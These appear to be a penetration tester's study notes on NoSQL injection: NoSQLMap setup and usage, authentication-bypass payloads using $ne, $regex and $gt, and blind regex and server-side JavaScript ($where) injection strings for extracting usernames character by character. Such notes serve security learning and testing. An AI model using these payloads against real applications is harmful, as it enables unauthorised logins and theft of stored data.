NoSQL Injection

Useful Resources

NoSQLMap

As of writing these notes, the nosqlmap installation described in the github repository does not seem to work. To install it:

git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
sudo apt install python2.7
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
pip2 install couchdb
pip2 install --upgrade setuptools
pip2 install pbkdf2
pip2 install pymongo
pip2 install ipcalc

Then you can run it using

python2 nosqlmap.py --attack 2 --victim 127.0.0.1 --webPort 80 --uri /index.php --httpMethod POST --postData param1name,parameter1value,param2name,parameter2value --injectedParameter 1 --injectSize 5


Fundamentals

Unlike relational databases, NoSQL databases store data in different ways varying on their type

NoSQL Database Type
Description

Document-Oriented

Stores data in documents which contain pairs of fields and values. Documents are typically encoded in formats such as JSON or XML.

Key-Value

A data structure that stores data in key:value pairs, like a dictionary.

Wide-Column

Similar to relational databases, as they store data in tables, rows, and columns, but with the ability to handle more ambiguous data types.

Graph

Stores data in nodes and uses edges to define relationships


Authentication Bypass

Suppose you are facing a web application login that requires a username and a password

POST /login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

username=wrong&password=wrong

To bypass authentication without valid credentials, we want this query to return a match on any document to get us authenticated as whoever it matched.

A straightforward way to do this would be to use the $ne query operator on both username and password to match values that are not equal to something we know doesn't exist.

Since the parameters are URL-encoded, we can't just pass JSON objects to PHP. To solve, this we need to change the syntax: param[$op]=val is the same as param: {$op: val} so we will try to bypass authentication with username[$ne]=wrong and password[$ne]=wrong

POST /login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

username[$ne]=wrong&password[$ne]=wrong

An alternative approach would use the $regex query parameter on both fields to match /.*/, which means any character repeated 0 or more times, which, in turn, matches everything.

POST /login.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

username[$regex]=.*&password[$regex]=.*

Lastly, some other payloads that could work are:

username=admin&password[$ne]=x    # to target the admin user
username[$gt]=&password[$gt]=     # any string greater than 0 -> matches everything
username[$gte]=&password[$gte]=   # same logic

Data Extraction (In-Band)

Data extraction in NoSQL databases differs from relational databases: queries are performed on specific collection, meaning that data exfiltration attacks are limited to the collection where the query applies.

When extracting data in-band, the ideas are the very same as the authentication bypasses shown previously: we will inject payloads to match everything based on always true/false conditions

param[$ne]=x param[$gt]= param[$gte]= param[$lt]=~ param[$lte]=~ param[$regex]=.*


Data Extraction (Blind)

When trying to extract data that is not being reflected back to us, we can use regex to get the value we are looking for, one character at a time.

Consider an example where you can search for orders by their package number. The search query requires a "packageNumber" parameter and responds with the information related to the package. It won't confirm whether the package number exists or not.

We can confirm the injection point exists by sending a payload that will match any entry returned by the underlying query, such as {"packageNumber":{"$ne":"x"}}. After that, we can send {"packageNumber":{"$regex":"^.*"}}, to match all documents.

If that works, we can iteratively look for other characters in the packageNumber by sending:

{"packageNumber":{"$regex":"^0.*"}}
{"packageNumber":{"$regex":"^1.*"}}
{"packageNumber":{"$regex":"^2.*"}}
.....
{"packageNumber":{"$regex":"^21.*"}}
{"packageNumber":{"$regex":"^22.*"}}
....
{"packageNumber":{"$regex":"^221.*"}}
{"packageNumber":{"$regex":"^222.*"}}
....
{"packageNumber":{"$regex":"^2221262$"}}

Server-Side Javascript Injection (SSJI) via NoSQLi

One type of injection unique to NoSQL is JavaScript Injection, which may happen when an attacker can get the server to execute arbitrary JavaScript in the context of the database because the server leverages a JavaScript file that evaluates the parameters sent by the user to run the NoSQL query.

Authentication Bypass

A JavaScript file related to authentication may contain something like:

.find({$where: "this.username == \"" + req.body['username'] + "\" && this.password == \"" + req.body['password'] + "\""});

In this case, an attacker could send a payload like username = " || ""==" to try and make the server evaluate a query such as db.users.find({$where: 'this.username == "" || ""=="" && this.password == "" || ""==""'}) which results in every document being returned and presumably logging the attacker in as one of the returned users.

Data Extraction

The previous attack may allow us to login as a random user, or login without a valid username. In the second case, we can proceed with a blind data extraction payload to try and exfiltrate valid usernames (and login as the related user) using an iterative approach to find all characters of the username, one by one, with regular expressions. If we are logged in as an invalid user, we can proceed with the next character:

username = " || (this.username.match('^a.*')) || ""=="
.......
username = " || (this.username.match('^s.*')) || ""=="
username = " || (this.username.match('^sf.*')) || ""=="
username = " || (this.username.match('^sfo.*')) || ""=="
username = " || (this.username.match('^sfof.*')) || ""=="
username = " || (this.username.match('^sfoff.*')) || ""=="
username = " || (this.username.match('^sfoffo$')) || ""=="